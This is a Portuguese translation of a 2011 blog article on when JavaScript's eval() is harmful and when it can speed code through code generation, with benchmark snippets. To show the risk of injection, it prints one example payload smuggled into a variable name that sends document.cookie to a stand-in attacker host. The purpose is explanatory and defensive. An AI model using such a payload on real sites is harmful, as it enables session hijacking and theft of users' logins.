Front End

25 mai, 2011

eval() considerado útil: geração de código no JavaScript

Publicidade

Se algum recurso do JavaScript
já foi considerado perigoso, é o eval(). Ele é tão comumente abusado que se eu estiver
entrevistando um desenvolvedor web JS, eu normalmente pergunto algo do tipo “o
que é eval(), e por que você não deveria usá-lo”.
Ele é tão comumente abusado que o arquiteto javaScript do Yahoo!, Douglas Cronkford, o considera “evil” (“mau”), e seu verificador de estilos JavaScript, JSLint, reporta seu uso como um erro.

As pessoas não gostam do eval(), porque ele é
percebido como lento e inseguro. Neste artigo, descrevo uma maneira de usar o eval()
para deixar sua aplicação mais rápida.

Cuidado! Esta é uma técnica faixa preta. Rasmus
Lerdorf, o criado do PHP, uma vez escreveu que “se o eval() é a
resposta, você está certamente perguntando a pergunta errada”. Use-o como
último recurso, quando outras otimizações tiverem falhado. Ou para se gabar.

Queime a
bruxa!

O desgosto pelo eval() vem na sua maioria pelo erro infantil
de usar o eval()
sempre que você precisa acessar uma variável cujo nome está armazenado em outra
variável:

// incorrect way of setting a member variable:
eval("myObject." + varName + " = 'new value'");

// the schoolboy should have done this:
myObject[varName] = 'new value';

A primeira versão não é
somente 20 vezes mais lenta (testada no Firefox), mas também é um convite para
a execução de ataques ao código. Imagine o que iria acontecer se um atacante
conseguisse configurar o varName assim:

foo='new value';window.i = new Image(); i.src = 'http://evilsite.com/" + track.php?cookie=' + escape(document.cookie);//

Sim, isso iria configurar meu
myObject.foo
para ‘novo valor’, e então criaria uma nova imagem carregada do site do
atacante. A imagem é fornecida a partir de um script que grava o cookie passado
por ele. Se o script for inteligente, ele retornará uma imagem válida, de modo
que nenhum erro seja produzido. Se a sua aplicação
web não amarra a sessão a um único endereço IP (como a maioria das aplicações
PHP, por exemplo), o atacante conseguirá extrair sua identidade da sessão do
cookie e fazer o log in como você. Ui.

Na
verdade, não são somente os iniciantes que caem nessa. Este é um exemplo real
coletado de um velho tutorial no respeitado (pelo menos por mim) site
The
Code Project
:

// this function is supposed to take a string class name, create an
// instance of that class, and copy all of the members of the new
// instance into a dictionary. ${DEITY} knows why you'd want to do
// that, but that's not the point of this sample

// incorrect way of accessing members:
function CreateCollection(ClassName) {
var obj=new Array();
eval("var t=new "+ClassName+"()");
for(_item in t) {
eval("obj."+_item+"=t."+_item);
}
return obj;
}

// the above function should read:
function CreateCollection(ClassName) {
var obj = {}, _item, t = new window[ClassName]();
for(_item in t) {
obj[_item] = t[_item];
}
return obj;
}

A
não ser que a bruxa {seja: “feita”, de: “JSON”}!

Com a crescente popularidade
do JSON, o coitadinho do eval finalmente foi
respeitado. Ele pode ser lento comparado ao acesso de membros square[bracket],
mas como o JSON é na verdade código JavaScript, é muito mais rápido analisar o JSON usando o eval do que analisar o
XML usando DOM.

Mas existe uma outra maneira
em que o eval() pode acelar sua aplicação…

Metaprogramming:
um exemplo artificial

O JavaScript é uma linguagem
dinâmica, e algumas coisas são simplesmente lentas, em particular, function
calls e for (x em y) loops. “Lento” é relativo aqui – estamos falando de micro
segundos, mas essas coisas podem realmente fazer diferença se você está
trabalhando dentro de um loop que é executado milhares de vezes. Isso é uma
pena, porque functions e loops te ajudam a escrever códigos genéricos que podem
ser reutiizados em outras situações.

O problema fica ainda pior
quando você considera que o JavaScript tem apenas uma linha. Então, se um script
gasta um segundo calculando algo, toda a UI irá congelar por um segundo –
nenhum botão poderá ser clicado e nenhuma tecla digitada.

Digamos que você queira criar
um tipo de classe chamada Multiplier. Essa classe é construída com um objeto de
dados e com um número coeficiente. O objeto de dados é armazenado em uma variável
pública, e toda vez que o método multiply() é chamado, todo número em qualquer
parte do objeto de dados é multiplicado pelo coeficiente. Por exemplo:

var mul = new Multiplier({a:10, subObject:{b: 11, c:"foo"}}, 2);
// mul.data == {a:10, subObject:{b: 11, c:"foo"}}
mul.multiply();
// mul.data == {a:20, subObject:{b: 22, c:"foo"}}
mul.multiply();
// mul.data == {a:40, subObject:{b: 44, c:"foo"}}

Como eu disse, é um exemplo
forçado, mas o padrão por trás dele é comum: você tem que fazer algo a um
objeto, mas você não conhece a estrutura do objeto com antecedência.

É fácil de implementar. Aqui
está uma implementação óbvia:

// this Multiplier uses reflection - i.e. for (x in y) - to
// traverse the data object
function ReflectingMultiplier(data, coefficient) {
this.data = data;
this.coefficient = coefficient;
}
ReflectingMultiplier.prototype.multiply = function() {
this._multiply(this.data);
}
ReflectingMultiplier.prototype._multiply = function(data) {
var prop;
for (prop in data) {
switch (typeof data[prop]) {
case "number":
data[prop] *= this.coefficient;
break;
case "object":
this._multiply(data[prop]);
break;
}
}
}

O problema do código acima é
que ele é lento. Para executar as duas operações de multiplicação, que são
extremamente rápidas, você usa duas function calls e dois for loops.

Teste
de Performance

 // ReflectingMultiplier test code:  calculate the average time taken
// to call multiply()
var TIMES = 100000;
var obj = {a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}};
var mul = new ReflectingMultiplier(obj, 2);
var start = new Date();
for(var i=0; i<TIMES; i++) {
mul.multiply();
}
var end = new Date();
var time = end.getTime() - start.getTime();
alert((1000 * time / TIMES) + " microseconds average");

test ReflectingMultiplier

O problema aqui é que o
método multiply()
inspeciona o objeto toda vez que ele é chamado, mesmo o objeto de dados nunca
mudando. Se você conhecesse a estrutura do objeto com antecedência, você
poderia escrever uma implementação muito melhor:

// if you know the coefficient and the structure of the data object,
// everything is much simpler
ReflectingMultiplier.prototype.multiply = function() {
this.data.a *= 2;
this.data.b.foo *= 2;
this.data.b.bar *= 2;
this.data.c.quux *= 2;
this.data.c.blarty *= 2;
}

Mas você não conhece a
estrutura com antecedência, então você não pode fazer isso. Então qual a
solução… Escrever uma nova function para cada estrutura do objeto de dados?
Bom, você poderia, mas seria terrível para mantê-la.

Geração
de código para o resgate

A solução, que você já deve
ter adivinhado pelo título deste artigo, é inspecionar o objeto de dados uma
vez e, então, gerar o código para um método multiply() apropriado. Você então
usaria o eval() para criar o método.

Aqui está uma implementação do multiplicador que faz isso:

// this Multiplier compiles a multiply() function in its constructor
function CompilingMultiplier(data, coefficient) {
this.data = data;
// compile multiply function
var codeString = "this.multiply = function() {n";
var paths = this.getIntegerPaths(data);
for (var i=0; i<paths.length; i++) {
codeString += " this.data." + paths[i]
+ " *= " + coefficient + ";n";
}
codeString += "}";
eval(codeString);
this.generatedCode = "Generated code:nn" + codeString;
}
// e.g. if data={a:10, subObject:{b: 11, c:"foo"},
// return ["a", "subObject.b"]
CompilingMultiplier.prototype.getIntegerPaths = function(data) {
var paths = [];
this._getIntegerPaths(data, paths, []);
return paths;
}
CompilingMultiplier.prototype._getIntegerPaths
= function(data, accumulator, stack) {
var prop, stackPos = stack.length;
for (prop in data) {
// regex to protect from code execution attacks -
// only allow valid variable names
if (!prop.match(/^w+$/)) {
continue;
}
stack[stackPos] = prop;
switch (typeof data[prop]) {
case "number":
accumulator.push(stack.join("."));
break;
case "object":
this._getIntegerPaths(data[prop], accumulator, stack);
break;
}
}
stack.length = stack.length-1;
}
// It would actually be more appropriate to use
// "this.multiply = new Function(...)", which
// is a wrapper around eval for creating functions,
// but I'm trying to prove a point here :o)

Teste de Performance

// CompilingMultiplier test code:  calculate the
// average time taken to call multiply()
var TIMES = 1000000;
var compileStart = new Date();
var data = {a:1, b:{foo:2, bar:4}, c:{quux:5, blarty:6}};
var mul = new CompilingMultiplier(data, 2);
var compileEnd = new Date();

var runStart = new Date();
for(var i=0; i<TIMES; i++) {
mul.multiply();
}
var runEnd = new Date();
document.getElementById('generatedCode').innerHTML
= mul.generatedCode.replace(/n/g, "<br>");
alert(
(compileEnd.getTime() - compileStart.getTime())
+ " milliseconds compilation, "
+ (1000 * (runEnd.getTime() - runStart.getTime()) / TIMES)
+ " microseconds average run time");

test CompilingMultiplier    
Remind me how long ReflectingMultiplier took

Sua velocidade pode variar,
mas eu achei a versão de compilação cerca de 5 vezes mais rápida do que a
versão refletida.

Mais otimizações

O estágio de compilação
precisa de tempo – 850 micro segundos nos meus testes. Se você estiver usando o
multiply()
menos de 30 vezes para cada compilação, é mais rápido usar a versão refletida.
Uma boa maneira de garantir que sua compilação seja a menor possível é usar o
cache para as functions geradas. Se você souber que cada instância das classes
que você está usando tem a mesma estrutura interna, você pode fazer isso:

// Caching the generated function so that only one
// function is generated for any given class
function CompilingMultiplier(data, coefficient) {
// every object has a hidden member variable 'constructor',
// which is a reference to its constructor function that
// doesn't show up in a for(x in y) loop.
if (data.constructor.__multiplierCache) {
this.multiplier = data.constructor.__multiplierCache;
} else {
... compile this.multiply function ...
data.constructor.__multiplierCache = this.multiply;
}
}

Resumindo

Use esta técnica quando…

  • Você tiver um
    loop que é executado muitas vezes e/ou um algoritmo recursivo, e a maior
    parte do tempo é gasto gerenciando variáveis de loop e function calls, ao
    invés de fazer trabalho útil.
  • Você estiver
    inspecionando uma estrutura antes de usá-la, e você sabe que a estrutura
    não irá mudar.
  • Você não
    consegue ver nenhuma maneira fácil de otimizar o loop

Boa sorte!

?

Texto
original disponível em
http://berniesumption.com/software/eval-considered-useful/